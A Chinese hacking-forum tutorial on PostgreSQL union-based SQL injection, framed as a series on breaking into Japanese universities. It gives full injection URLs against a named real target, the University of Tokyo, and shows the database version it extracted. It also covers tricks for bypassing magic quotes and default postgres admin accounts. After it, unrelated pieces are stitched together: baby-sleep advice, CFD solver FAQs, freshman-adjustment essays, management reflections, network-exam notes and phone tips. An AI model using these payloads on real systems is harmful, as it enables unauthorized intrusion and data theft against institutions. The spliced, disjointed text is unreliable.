日本是一个多么让人联想翩翩浮想连连的词语，为啥我们要搞日本的大学捏？原因很简单，我们都爱日本妹子
国外的网站也不是坚不可摧，看完本系列文章你会发现，什么高深黑客技术，什么日本名牌大学的网站，也不过如此。都是五分钟从前台到服务器的货。
日本大学入侵系列篇章：
1) 《系列1之日本京都同志社大学 - php注入点写webshell,linux最简单提权》
2) 《系列2之日本共立女子大学 - 解决PostgreSQL连接问题完成脱众女子内裤》
3) 《系列3之日本东京大学 - PostgreSQL注入常见问题总结》
作者：YoCo Smart
来自：Silic Group Hacker Army
https://www.doczj.com/doc/9317568136.html,
本文基于《PostgreSQL注入语法指南》而写，首先我们先来总结常见问题，常见问题有这样几个
如何判断数据库使用了PostgreSQL数据库，字段数和字段间编码问题，GPC为on时的字符型字段问题，注释符问题。我们一个一个讲
1) 如何判断php搭配数据库为PostgreSQL
我们假设一个php+PostgreSQL并且开启了错误回显的网站有一个注入点，我们在
xx.php?id=n后面加单引号'，它的回显将会是这样的：
Warning: pg_query() [function.pg-query]:
Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: select * from now where no = 111' ^ in /home/sites/web/school/detail.php on line 307
有这样几个关键字可以判断数据库为PostgreSQL：
操作PostgreSQL的函数pg_query()
关键字function.pg-query中的pg
看熟了MySQL的错误回显，有没有发现这个unterminated quoted string at or near不是MySQL的？MySQL的错误回显和这个区别太大了
2) 字段数和字段间编码问题
我们首先将上面的注入点order by 2可以确认now数据表的字段数大于2，当我们order by 2000的时候，显然不可能有那个表段中有2000条数据，当然会出错
Warning:pg_query() [function.pg-query]:
Query failed: ERROR: ORDER BY position 2000 is not in select list in
/home/sites/web/school/detail.php on line 307
这样大致可以确认可以猜出正确的字段数了。假设字段数为14，那么我们按照MySQL的步骤
1.xx.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
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这句没问题吧？但是它99%概率会出问题了：
Warning: pg_query() [function.pg-query]:
Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on line 307
这个回显是什么意思呢？问题很简单，union前后的字段数相同了，但是类型不同了。
这就像大家来找茬：
1.Union前(程序原来的)：SELECT 数字,文本,日期,数字,数字,时间,文本,数字,
文,数,文,数,文,数
2.Union后(我们注入的)：SELECT 数字,数字,数字,数字,数字,数字,数字,数字,
数,数,数,数,数,数
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和我们要来找茬游戏差不多，我们要做的就是矫正字段与字段间的区别。
错误提示中没有提示这14个中，哪一个字段出问题了，我们要一次性让字段数对工整了恐怕有n的14次方种可能，怎么办呢？
很简单，先吧1,2,3,4.....13,14这些字段统统换成NULL，例如：
1.xx.php?id=正确的id数字
+and+1=1+union+select+null,null,null,null,null,null,null,null,null,
null,null,null,null,null
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这样就会正确显示原来的新闻页面了
然后我们试着把null依次换成数字，依次替换一个，如果依然返回正确的新闻页面则保留数字并替换下一个，如果返回错误信息就重新换回null并继续替换下一个
这样我们就得到：
1.Union前(程序原来的)：SELECT 数字,文本,日期,数字,数字,时间,文本,数字,
文,数,文,数,文,数
2.Union后(我们注入的)：SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,
数,NULL,数,NULL,数,NULL,数
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实际中，数字型是占少数的，一般我们都是用文本型做显示位的。
找出文本型显示位很简单，和数字一样，依次替换并确认，只不过这次不是替换成数字，而是替换成文本，例如'a'。
1.Union前(程序原来的)：SELECT 数字,文本,日期,数字,数字,时间,文本,数字,
文,数,文,数,文,数
2.Union后(我们注入的)：SELECT 数字,'a',NULL,数字,数字,NULL,'a',数,'a',
数,'a',数,'a',数
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这样就明了了吧？
最后应用于实际：
1.xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',
6
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这样八九不离十会出显示位的。
3) GPC设置为on问题
PHP有个功能是魔术引号，学称“自动字符串转义”，就是你把.php?id=3'or'1'='1访问后PHP自动给你转换成.php?id=3\'or\'1\'=\'1然后进行下一步动作
问题在哪里呢？上面我们讲了，将字符型字段替换为'a'来依次确认，GPC为on，岂不是'a'都变成了\'a\'？？？
没错，是变了。那么这步就不能进行？答案是能。要知道，计算机是人设计的，人是计算机灵感的来源。
首先向，我们注入的目的是什么？显示内容。那么我们为什么要让它使用'a'呢？'a'只不过是个用来判断的字符，和and 1=2一样，只是用于判断，无实际意义，and 1=2可以替换成1=3，1=4，甚至1=1000000000000000000000，这只是用来判断而已，没意义。
如果我们将'a'换成有意义的呢？例如version()就可以不需要加引号，比较一下：
1.xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',
6
2.xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,vers
ion(),3,version(),4,version(),6
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整个语句没有用到任何一个单引号
4)注释符问题
PostgreSQL的注释符不是#，也就是说，末尾如果有语句未结束，不能加/*或者%23来终止。那么用什么呢？显然是MySQL，MSSQL，SQLite还有PostgreSQL各种通用的“--”，也可以换成%2b%2b，一样的效果。
很好记，2B，二逼。测试中%2b%2b有可能会造成访问的短暂失去响应，目前不知道问题在哪里，而横线--则不会出现
5) 小技巧
PostgreSQL的管理员账户(类似于MySQL的root，MSSQL的sa)名字为postgres，根数据库(类似于MySQL的mysql数据库，MSSQL的master数据库)名字为postgres
root和sa有设置空口令的二逼管理员，PostgreSQL也有很多设置空口令的二逼管理员。遇到过一些给PostgreSQL设置了nologin的bash shell，后面你懂的，可以尝试登陆它的shell的
好了说了这么多，都是理论。我们开始实践吧
目标日本东京大学：http://www.u-tokyo.ac.jp
这个例子来自本论坛的帖子《PostgreSQL盲注笔记》
这个大牛愣是盲注把PostgreSQL给注了。
虽然是很牛的办法，不过我想说，还有更简单的。我们看注入点：
1.http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15--
页面正确
2.http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+16--
页面错误
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没有错误回显。但是可以确定字段数位15，显然
union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15--以后也是错误的页面，否则不需要盲注了都
那么我们这样呢？
1.http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+
select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15-- 错误页面
2.http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+
select+null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null-- 正确页面
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下一步就是依次替换得到数字类型的字段和文本类型的字段了：
1.http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+
select+null,null,1,null,null,null,null,null,null,null,null,null,nul
l,null,null--
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很可惜，这个页面只有第3个字段是数字型，其他都不是，证据就是，上面剩下的任何一个null替换成数字，都会显示页面错误
那么咱们替换文本类型好了，替换任何一个null为'a'都会出现错误页面，为什么呢？答案就是，gpc为ON，导致'a'变成了\'a\'
盲注帝估计当时就是卡在这里了 :-(
不过好在本文前面说了，GPC为on，就不要用'a'了，用version()代替就好了
1.http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,
version(),1,version(),version(),version(),null,version(),version(),
version(),null,null,version(),version(),version()+--
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得到回显了没？
PostgreSQL 8.4.9 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.4.5 20110214 (Red Hat 4.4.5-6), 64-bit
实际应用上面，其实我们只需要替换出来一个显示位就够了。闲的蛋疼的人才去一一确认哪个显示位是什么类型——！
1.http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,
null,null,null,null,null,null,null,null,null,null,null,null,null,da
tname+from+pg_database+limit+1+offset+0+--+
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PostgreSQL的limit y offset x
是和MySQL的limit x,y一样的用法
limit 1 offset 0是第一条数据，limit 1 offset 1是第二条数据。。。依次类推
好了，后面的我就不说了，要继续搞，参照PostgreSQL注入手册来好了，虽然还是有点不太省事，不过总之，盲注能是不需要了 :-)
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3.明明宝宝都已经能睡整觉了，为什么最近 突然变得难哄起来，而且夜醒频繁？ 有的时候，孩子明明夜间睡眠很好，或者已经能够睡整夜觉了，却突然之间变得频繁夜醒。要找到原因，首先就要排除是否遇到了“睡眠意外”，宝宝的睡眠可能受到了外界的干扰：比如出牙、鼻塞（感冒）、疾病、便秘等等。当他醒来后，不舒适感或需求（比如社交欲望）可能会让他彻底清醒，然后需要他最喜欢的朋友和玩伴——你的陪伴！ 小婴儿在夜间醒来，最多的原因是因为饥饿。如果你的宝宝已经5个月大了，排除饥饿引起的夜间醒来（从午夜到早上6点之间），你可以简单考虑是否是以下原因： 有东西干扰他（包括饥饿、出牙、鼻塞、便秘、生病、打鼾）、睡眠时呼吸困难（鼻塞）、发烧、湿疹（特应性皮炎）、中耳炎引起的疼痛等 1、出牙 很多陪孩子经历过出牙期的妈妈都知道，出牙的过程另孩子非常的不适。几百年来很多人都把夜醒归咎于出牙的疼痛。毫无疑问，出牙会让牙龈抽痛，让宝宝什么都想咬，好让牙齿赶紧冲出牙龈表面。 不过，这究竟是真的疼痛还是只是不适感呢？实际上，出牙历经从开始到结束的许多个月，所以这种疼痛不会太厉害，否则所有的孩子好几个月每天晚上都会醒来。另外，大多数孩子白天并没有表现出疼痛。 在芬兰，曾经对于出牙而引起的问题做过一个调查。通过对233名年龄在4个月~13个月的孩子每天跟踪访问和检查，结论是出牙不会引起发烧、白细胞数量增多、不会引起炎症。当然也不会引起夜醒。 简而言之，出牙只是一种干扰：白天容易忽略，而当宝宝们平躺在安静的房间里，就会感到有一点点心烦。如果确定是这种不适感让宝宝频繁醒来，就需要咨询医生是否可以开一些例如布洛芬等药物，睡前30分钟服用，来
1什么叫松弛因子？松弛因子对计算结果有什么样的影响？它对计算的收敛情况又有什么样的影响？ 1、亚松驰（Under Relaxation）：所谓亚松驰就是将本层次计算结果与上一层次结果的差值作适当缩减，以避免由于差值过大而引起非线性迭代过程的发散。用通用变量来写出时，为松驰因子（Relaxation Factors）。《数值传热学-214》 2、FLUENT中的亚松驰：由于FLUENT所解方程组的非线性，我们有必要控制的变化。一般用亚松驰方法来实现控制，该方法在每一部迭代中减少了的变化量。亚松驰最简单的形式为：单元内变量等于原来的值加上亚松驰因子a与变化的积, 分离解算器使用亚松驰来控制每一步迭代中的计算变量的更新。这就意味着使用分离解算器解的方程，包括耦合解算器所解的非耦合方程（湍流和其他标量）都会有一个相关的亚松驰因子。在FLUENT中，所有变量的默认亚松驰因子都是对大多数问题的最优值。这个值适合于很多问题，但是对于一些特殊的非线性问题（如：某些湍流或者高Rayleigh数自然对流问题），在计算开始时要慎重减小亚松驰因子。使用默认的亚松驰因子开始计算是很好的习惯。如果经过4到5步的迭代残差仍然增长，你就需要减小亚松驰因子。有时候，如果发现残差开始增加，你可以改变亚松驰因子重新计算。在亚松驰因子过大时通常会出现这种情况。最为安全的方法就是在对亚松驰因子做任何修改之前先保存数据文件，并对解的算法做几步迭代以调节到新的参数。最典型的情况是，亚松驰因子的增加会使残差有少量的增加，但是随着解的进行残差的增加又消失了。如果残差变化有几个量级你就需要考虑停止计算并回到最后保存的较好的数据文件。注意：粘性和密度的亚松驰是在每一次迭代之间的。而且，如果直接解焓方程而不是温度方程（即：对PDF计算），基于焓的温度的更新是要进行亚松驰的。要查看默认的亚松弛因子的值，你可以在解控制面板点击默认按钮。对于大多数流动，不需要修改默认亚松弛因子。但是，如果出现不稳定或者发散你就需要减小默认的亚松弛因子了，其中压力、动量、k和e的亚松弛因子默认值分别为0.2，0.5，0.5和0.5。对于SIMPLEC格式一般不需要减小压力的亚松弛因子。在密度和温度强烈耦合的问题中，如相当高的Rayleigh数的自然或混合对流流动，应该对温度和/或密度（所用的亚松弛因子小于1.0）进行亚松弛。相反，当温度和动量方程没有耦合或者耦合较弱时，流动密度是常数，温度的亚松弛因子可以设为1.0。对于其它的标量方程，如漩涡，组分，PDF变量，对于某些问题默认的亚松弛可能过大，尤其是对于初始计算。你可以将松弛因子设为0.8以使得收敛更容易。 SIMPLE与SIMPLEC比较 在FLUENT中，可以使用标准SIMPLE算法和SIMPLEC（SIMPLE-Consistent）算法，默认是SIMPLE算法，但是对于许多问题如果使用SIMPLEC可能会得到更好的结果，尤其是可以应用增加的亚松驰迭代时，具体介绍如下: 对于相对简单的问题（如：没有附加模型激活的层流流动），其收敛性已经被压力速度耦合所限制，你通常可以用SIMPLEC算法很快得到收敛解。在SIMPLEC中，压力校正亚松驰因子通常设为1.0，它有助于收敛。但是，在有些问题中，将压力校正松弛因子增加到1.0可能会导致不稳定。对于所有的过渡流动计算，强烈推荐使用PISO算法邻近校正。它允许你使用大的时间步，而且对于动量和压力都可以使用亚松驰因子1.0。对于定常状态问题，具有邻近校正的PISO并不会比具有较好的亚松驰因子的SIMPLE或SIMPLEC好。对于具有较大扭曲网格上的定常状态和过渡计算推荐使用PISO倾斜校正。当你使用PISO邻近校正时，对所有方程都推荐使用亚松驰因子为1.0或者接近1.0。如果你只对高度扭曲的网格使用PISO 倾斜校正，请设定动量和压力的亚松驰因子之和为1.0比如：压力亚松驰因子0.3，动量亚
大一新生常见问题及原因分析 摘要：对于刚进大学不久的大一新生，大学生活与高中生活是完全不同的，面对新的生活环境、新的学习方式和教学风格，必然会使许多大一新生出现各种各样的问题，这些问题在一定程度上会影响他们的学习、生活及身心健康。本文将对大一新生的心理问题、恋爱、人际交往等方面做了调查和分析，并提出一些建议和方法。希望同学们能够根据自己的情况适当的调整自己。 关键词：大一新生常见问题原因解决方法 通过对部分大一新生的调查与观察，我们发现部分学生存在一定程度的问题，这些问题现在虽然不能造成多大的影响，但如果不努力去改正克服，久而久之，必会给自己的人生带来很大的不良影响。有问题并不可怕，可怕的是自己不去发现并去克服它们，只有通过一点一点的改变自己、优化自己，才会让的大学生活变得更有意义，同时也为未来的路打下坚实的基础。下面我们将对大一新生常见问题做原因分析与建议。 一、学习方面的问题 现在的人类即将进入21世纪，现代的高等教育模式已实现了由精英式教育向大众化教育的转变，所以每一位同学都应该首先端正自己的学习态度。“60分万岁”、“上了大学就等于不学”等错误观念越来越被人们所摒弃，这些观念本身也不是对待科学与真理的正确态度，未来的世界属于那些真正掌握知识、掌握技能的人。无真才实学者，终将被社会遗弃，被竞争所淘汰！所以，作为大学生，在你跨入大学校
门后，进应该明白：成功只属于那些有准备的头脑。同学们现在开始就应该始终如一的脚踏实地。勤奋学习，以免“老大徒伤悲”。 2、大一新生应该实现从应试教育到素质教育的转变。“生也有涯，而知无涯”。在大学学习生活过程中，学生的目的是掌握一定的专业知识和技能，提高自身的素质。实现目的，就要从学好专业课，提高专业技能，培养身体素质方面去努力。不仅要重视课堂教学活动，而且要重视社会实践和校园文化活动，使自己成为全面发展的“四有”新人。 3学生掌握正确的学习方法。在学习内容上注意寻找自己的学习兴趣，除完成正常的学习任务外，根据自己的兴趣养成发现问题、思考问题、研究问题的习惯，变被动学习为主动学习，提高自己的悟性。 一、人际交往问题 < 一>大学生交往心理及调适 1、大学生人际交往的特征 人际交往也称人际沟通，大学生作为一个特殊的群体，正处于身心发展不平衡的时期，大学生由于缺乏自信心，自卑感较强等因素，存在着不同程度的人际交往障碍。这些问题如不自己解决势必影响到他们毕业后的工作、生活。（1）交往心理发展不平衡，有迫切的交往需要，但主动性却远远不够。绝大多数大学生都意识到交往的重要性，他们愿意与人交往，广交朋友，但另一部分人则相反，造成这种原因之一是语言障碍，之二是交往中的心理障碍。青年期所特有的“心理闭锁性”。这些都给人际交往带来了一定的困难（2）交往有明显的时空接近性。“近水楼台先得月”是空接近是形成密切人际关系的一个重要条件。（3）交往的自主性增强。步入大学，进入广阔天地，需要他们自主处理问
学习《华为管理纲要》心得体会 公司这次下发的《华为管理纲要》，给了我们一个很好的提升管理能力的自我培训的机会。通过《华为管理纲要》的学习，让我深刻认识到一个合格的中层干部在企业发展中的重要意义，也感触到了提升中层干部管理能力对企业的重要性。我的心得如下： 一、干部要起到表率作用 作为一名中层干部，不能只靠说别人，一定要严格要求自己，打铁还需自身硬，干部的职责是带队伍，干部的作风影响队伍的作风。要坚持实事求是，敢讲真话，树立自己的榜样形象，成为令下属心悦诚服的好榜样，这样我们中层干部的管理才更有说服力和执行力。 二、干部要有主动积极的工作作风 作为中层干部，不能事事都等着领导交待，要把工作做到前头。积极主动地做好日常管理工作的铺垫和准备，把会出现的问题及各种应急预案提早考虑周全。对于下属，要明确他们的职责分工，明细化考核条目，奖勤罚懒，调动他们的工作主动性，让他们从“要我干”转变成“我要干”，这样才能打造出一个极具主动性的队伍。 三、干部要把工作做到位 我们中层干部，要有严谨的工作态度和正确的工作方向。要勤于思考，包括工作思路、管理上的疏漏等；要乐于沟通，既要与上级沟通，发现问题及时汇报请示，又要与下属多交流，发现思想懈怠及时纠正；要有善于发现问题的眼睛，细致观察工作环境的变化，及早发现问题并解决；要广泛听取领导及下属员工对自己工作的意见和建
议，心胸要放宽，一个人太看重“面子”就容易忽略对自我的批评；要经常深入生产一线，保持第一手资料的收集，及时发现下属员工工作中的问题并加以纠正。 四、干部要勇于承担责任 在领导面前不找借口，不可明哲保身。在担当责任和寻找借口之间，可以体现一个中层干部的敬业和担当。问题面前找借口，那就根本说不上执行力。不仅要培养自身的担当心态，还要从明确车间内各项工作职责和工作流程上入手，不推诿，不扯皮，让下达的任务可以第一时间找到相应的责任人开展工作，也便于快速掌控工作进展情况。 五、干部要加强团队合作 中层干部作为一个团队的领导，对于团队内的成员，要给与充分的锻炼，要做到在各自的岗位独当一面。在这个强调团队合作的时代，我们的团队成员要有良好的心理素质，要懂得沟通，要学会怎么做人，怎么做事。而我们作为干部，要尽量做到公平公正，无私无畏，心胸开阔，这样才能团结好一个团队。 总结 我会依照这些体会，继续提升个人管理水平，发挥好公司赋予我的管理作用，更好的带动车间的各项工作，保障公司分配的生产任务和安环任务顺利完成。
历社学院新生常见问题答疑汇总 目录 一、假期生活 （含书目推荐） 二、开学相关 1、携带物品及缴费等【A必备物品\B洗护用品\C衣物相关\D饮食\E住宿\F出行\G学习用具\H电子产品\I工具\J医药\K卫生】 2、报到流程 3、开学注意事项 4、军训 5、学生手册 三、日常生活 1、住宿情况 2、饮食情况 3、运动健身 4、文艺活动 5、社团 6、其他（包括网络） 7、商业街 四、学习工作 1、学习【A教室和自习室\B专业\C课程\D课本\E选修课\F学分\G德育分\H 图书馆】
2、工作【A宿舍长\B班委】 五、再说些什么吧 一、假期生活 1、假期应该怎样度过？ 吐槽一句，话说假期抓紧时间和同学玩才是正经啊……以后很不容易才能见到的说…… 2、要不要学习电脑？ 进入大学以后有各种各样的机会可以学习，但是暑假如果能自己初步了解一些word、ppt、excel的使用技巧，或者学着用美图秀秀、ps、GoldVave和会声会影这些工具，都是很有好处的。 3、书目推荐—— 看书的话，给列几本书好啦~不一定都要看~但是广泛的涉猎对于我们这些人文学科来说是很必要的。 历史类：《全球通史》斯塔夫里阿诺斯 《国史大纲》钱穆（钱穆先生的著作都可以读读看） 《秦汉史》钱穆（大一上学期的中国史主要学习史前——东汉末年魏晋之际，所以也推荐他的，薄薄一册，受益匪浅） 《中国史纲要》翦伯赞 《西方文明简史》斯皮瓦格尔 《希腊史研究入门》黄洋/晏绍祥 《罗马帝国简史》克里斯托弗?凯利（大一上学期前一阶段以古罗马古希腊为主，这两本可以打个底，都不厚，很好读） 《欧洲中世纪史》朱迪斯和霍利斯特 《天朝的崩溃》茅海建 《叫魂——1768年中国妖术大恐慌》孔飞力 《菊与刀》尼迪克特 《家庭、私有制和国家的起源》恩格斯
六、HCNE试题分配比例 序号课程编号课程章节名称出题比例 1 HL-001 网络基础6 2 HL-002 TCP/IP 协议与子网规划6 3 HL-003 常用网络接口与线缆2 4 HL-004 以太网交换机基础及配置4 5 HL-005 广域网协议原理及配置6 7 HL-008 路由协议原理及配置6 8 HL-009 访问控制列表及地址转换4 9 HL-010 DCC、ISDN 原理及配置2 10 HL-011 备份中心原理及配置3 11 HL-012 配置排错8 总计题数50 H3CNE最新变化消息 H3CNE最新变化消息的新教材有815页，已经出版发行了！ 新的考试号为GB0-190，马上就要取代原考试号GB0-183。 H3CSE的新版估计会晚点推出，先推出新版的H3CNE。 01.第一章网络基础知识.pdf 02.第二章常见网络接口与电缆.pdf 03.第三章以太网交换机基础.pdf 04.第四章LAN Switch 配置.pdf 05.第五章路由器基础及原理.pdf 06.第六章路由器配置简介.pdf 07.第七章网络层基础及子网规划.pdf 08.第八章常见广域网协议及配置.pdf 09.第九章路由协议.pdf 10.第十章防火墙配置.pdf 11.第十一章DDR、ISDN 配置.pdf 12.第十二章备份中心配置.pdf 13.第十三章HSRP协议及配置.pdf 14.第十四章常见网络问题分析及处理.pdf 包括内容 华为认证网络工程师01+网络基础知.pdf 华为认证网络工程师02+TCP-IP原理和子网规划.pdf 华为认证网络工程师03+常见网络接口与线缆.pdf 华为认证网络工程师04+以太网交换机基础及配置.pdf 华为认证网络工程师05+路由器基本原理.pdf 华为认证网络工程师06+广域网协议原理及配置.pdf 华为认证网络工程师07+路由协议原理及配置.pdf 华为认证网络工程师08+访问控制列表及地址转换.pdf 华为认证网络工程师09+DCC、ISDN原理及配置.pdf 华为认证网络工程师10+备份中心原理及配置.pdf
湍流与黏性有什么关系？ 湍流和粘性都是客观存在的流动性质。 湍流的形成需要一定的条件，粘性是一切流动都具有的。 流体流动方程本身就是具非线性的。 NS方程中的粘性项就是非线性项，当然无粘的欧拉方程也是非线性的。 粘性是分子无规则运动引起的，湍流相对于层流的特性是由涡体混掺运动引起的。 湍流粘性是基于湍流体的parcel湍流混掺是类比于层流体中的分子无规则运动，只是分子无规则运动遥远弱些吧了。不过，这只是类比于，要注意他们可是具有不同的属性。 粘性是耗散的根源，实际流体总是有耗散的。 而粘性是制约湍流的。 LANDAU说，粘性的存在制约了湍流的自由度。 湍流粘性系数和层流的是不一样的,层流的粘性系数基本可认为是常数,可湍流中层流底层中粘性系数很小,远小于层流时的粘性系数;而在过渡区,与之相当,在一个数量级;在充分发展的湍流区,又远大于层流时的粘性系数.这是鮑辛内斯克1987年提出的。 1 FLUENT的初始化面板中有一项是设置从哪个地方开始计算(compute from),选择从不同的边界开始计算有很大的区别吗?该怎样根据具体问题选择从哪里计算呢?比如有两个速度入口A和B,还有压力出口等等，是选速度入口还是压力出口?如果选速度入口,有两个,该选哪个呀?有没有什么原则标准之类的东西？ 一般是选取ALL ZONE，即所有区域的平均处理，通常也可选择有代表性的进口(如多个进口时)进行初始化。对于一般流动问题，初始值的设定并不重要，因为计算容易收敛。但当几何条件复杂，而且流动速度高变化快(如音速流动)，初始条件要仔细选择。如果不收敛，还应试验不同的初始条件，甚至逐次改变边界条件最后达到所要求的条件。 2 要判断自己模拟的结果是否是正确的，似乎解的收敛性要比那些初始条件和边界条件更重要，可以这样理解吗？也就是说，对于一个具体的问题，初始条件和边界条件的设定并不是唯一的，为了使解收敛，需要不断调整初始条件和边界条件直到解收敛为止，是吗？如果解收敛了，是不是就可以基本确定模拟的结果是正确的呢？ 对于一个具体的问题，边界条件的设定当然是唯一的，只不过初始化时可以选择不同的初始条件（指定常流），为了使解的收敛比较好，我一般是逐渐的调节边界条件到额定值（"额定值"是指你题目中要求的入口或出口条件，例如计算一个管内流动，要求入口压力和温度为10MPa和3000K，那么我开始叠代时选择入口压力和温度为1MPa和500K（假设，这看你自己问题了），等流场计算的初具规模、收敛的较好了，再逐渐调高压力和温度，经过好几次调节后最终到达额定值10MPa和3000K，这样比一开始就设为10MPa 和3000K收敛的要好些）这样每次叠代可以比较容易收敛，每次调节后不用再初始化即自动调用上次的解为这次的初始解，然后继续叠代。即使解收敛了，这并不意味着就可以基本确定模拟的结果是正确的，还需要和实验的结果以及理论分析结果进行对比分析。 连续性方程不收敛是怎么回事？ 在计算过程中其它指数都收敛了，就continuity不收敛是怎么回事 这和Fluent程序的求解方法SIMPLE有关。SIMPLE根据连续方程推导出压力修正方法求解压力。由于连续方程中流场耦合项被过渡简化，使得压力修正方程不能准确反映流场的变化，从而导致该方程收敛缓慢。你可以试验SIMPLEC方法，应该会收敛快些。 边界条件对应的一般设定方法 边界条件对应的一般设定方法： *Genaeral--- pressure inlet;pressure outlet *Compressible flows---mass flow inlet;pressure far-field *Incompressible ---velocity inlet;outflow
大学新生常见心理问题及应对办法 一、大学生新生容易产生的几种心理问题 1.焦虑焦虑是一种情绪反应，是个体对当前或预感到的挫折产生的一种紧张、忧虑、不安而兼有恐怕的消极的情绪状态。它包括自信心、自尊心的丧失，失败感与罪疚感的增加等。而过度的或过于持久的焦虑会损伤他们正常的心理活动，导致心理疾病的产生，如忧虑症、神经衰弱等，从而严重地影响大 2.冷漠冷漠是个体遇到挫折后的一种防御手段。它包括缺乏积极的认识动机、活动意向减退、情感淡漠、情绪低落、意志衰退、思维停滞。在生活中，当一个人面临困难和挫折时，表现出漠不关心的心态，以来保护自己。具有这种性格的人，缺乏进取精神，对任何事都不感兴趣，终日随波逐流，无所 3.狂妄狂妄自大是对自己的品质和才能给予过高的估价而产生的一种虚狂的心理状态。具体表现为：自以为是、任性逞能、目中无人、事事以我为中 4、自卑自卑表现为丧失信心、胆子小、信心不足。病态的表现为：怕见生人，一见生人就会全身紧张，手足无措，惟恐别人笑话自己，自我感觉一切不如人，对前途完全失去信心，人际关系 1.学习方面的不同中学和大学都要学习，但学习目的和方法等都不同。中学时，教师不厌其烦地“传道、授业、解惑”，负责的态度一点也不亚于父母对你的关心。大学则实行学分制，学习完全靠个人，所谓“师傅领进门，修行靠个人”。有些中学时的姣姣者，由于对大学的学习方式方法掌握不好，加之强手如林，昔日的优势风采不复存在，自尊心和好胜心得不到充分满足，家
2.环境的不同在中学，为迎高考，除了学习，一切事情家长代劳，加上独生子女骄生惯养，上大学后，一切亲力亲为，适应能力不强的就会经常被孤独不安、焦虑所困扰，尤其是习惯了农村生活环境的大学生到喧闹的城市后，易产生压抑和自卑感。 3.人际交往的不同中学里的人际关系要简单些，一心只读“圣贤书”，而大学同居一室的有来自五湖四海，有不同的城乡背景，有不同的方言、不同的性格，他们之间的磨合是个新问题。一些学生个性强以自我为中心，不会设身处地为别人着想，性格内向的学生不合群，孤独寂寞，经常埋怨自己没有，甚至想逃避。 4.恋爱方面的不同有些刚入学的大学生为寻求安慰、摆脱空虚和寂默，也有的为满足一种虚荣心，开始寻找异性。他们不知道接触到什么程度合适，有时候，他们根本不知道伤害了对方，反过来也伤害了自己。异性的接触，易形成失恋、暗恋等现象，严重时影响正常的生活和学习。 三、大学新生心理问题的调适建议 调节大学新生的心理问题，使其健康发展的方法主要有以下几点： 1.做好新生入学教育，营造温馨氛围，帮助新生尽快适应新环境 大学生入学后，做好新生入学教育工作是十分必要的，可以通过报告、座谈等活动，让大学生意识到大学与中学的不同，告知他们可能遇到的困难、出现问题，让学生有个思想准备。建立并指导一个有凝聚力班委和团支委，多组织有益、健康的集体活动，帮学生熟悉校园环境，让同学在活动中增加了解、增进友谊，彼此敞开心扉，倾吐心声，让新生消除陌生感，尽快适应新环境。 2.因人而异地帮助学生确立符合自己实际的中、近期目标 心理障碍往往源于挫折，而一个人心理上能否体验到挫折感，与他的抱负水平密切相关。如果自我抱负水平过高，失败的机会就愈多，则更容易体验到挫折感。如：一门功课两人都考了80分，如果一个人原定目标为90分，他便有可能产生挫折感，而另一个人原定目标为70分，他便没有挫折感。因此，帮
USB 连接电脑管理手机的方法 媒体设备（MTP）模式支持电脑到 SD 卡和手机内部存储间的文 件传输（XP 系统需要装 Media player 11才能正常使用） ；相机 （PTP） 模式仅支持手机相册的导入和查看；HiSuite 模式连接 后能出现 HiSuite 驱动，进我的电脑后能安装 HiSuite，安装好 后可以对手机进行管理、备份等。 解决飞屏
十二、Mate 节省数据流量的方法 本帖隐藏的内容 Mate 节省数据流量的方法：进手机设置-无线和网络-更多-流量 使用情况-移动数据，右边的开关开启后，即可对数据流量进行 限制，设置上限和警报线即可，另还可以针对个别程序进行数据 流量限制，找到耗费流量的程序，点击进入进行限制即可。这样 就不用担心你的流量不够用咯。
、六、地图包移动到 SD 卡 为了你的内部存储有更多的空间装软件和游戏， 建议你把内部存 储里面的地图数据包 mapbar 文件夹整个剪切移动到 SD 卡下， 长按 mapbar 文件夹即有剪切选项，点击到 SD 卡，屏幕上方有 一个页状图标，就是粘贴，开始移动，大概4分多全部移动完毕~
注意:移动之后就不用再下载地图包了,实测可以继续使用地图
手机提示 SD 卡受损怎么办，别担心，看了这个就不用担心了。 解决办法： 1、把内卡插入电脑后，提示格式化，点取消。然后查看一下属性; 2、 点电脑上的“开始菜单”－－“运行”－ 卡盘符，/F 是修复参数); 3、等待修复完成，DOS 窗口会自动关闭; 4、修复完成后，查看一下 SD 卡的属性，显示正常了 这里主要针对的是 wifi 速度慢的机友们！ chkdsk H:/F (H:就是你的 SD
如何区分层流和紊流？以什么为标准来区分呢？从层流过渡到紊流的标准是什么？ 答:自然界中的流体流动状态主要有两种形式,即层流laminar和湍流（就是问题中所说的紊流）turbulence.层流是指流体在流动过程中两层之间没有相互混渗，而湍流是指流体不是处于分层流动状态。 对于圆管内流动，雷诺数小于等于2300，管流一定为层流，雷诺数大于等于8000到12000之间，管流一定为湍流，雷诺数大于2300而小于8 000时，流动处于层流与湍流的过渡区。 对于一般流动，在计算雷诺数时，可以用水力半径代替管径。 第40题：在处理高速空气动力学问题时，采用哪种耦合求解器效果更好？为什么？ 高速空气动力学问题也属于可压缩流动的范围，在Fluent中原则上，使用Pressure-ba sed和Density-based求解器都可以。从历史根源上讲，基于压力的求解器以前主要用于不可压缩流动和微可压缩流动，而基于密度的求解器用于高速可压缩流动。现在，两种求解器都适用于从不可压到高速可压的很大范围流动，但总的来讲，当计算高速可压缩流动时，基于密度的求解器还是璧基于压力的求解器更有优势，因此，在使用Fluent计算高速可压缩流动时，推荐使用Density-based求解器。 也许有很多人对于Pressure-based和Density-based求解器的原理的认识还不够深，在此稍微介绍一下： 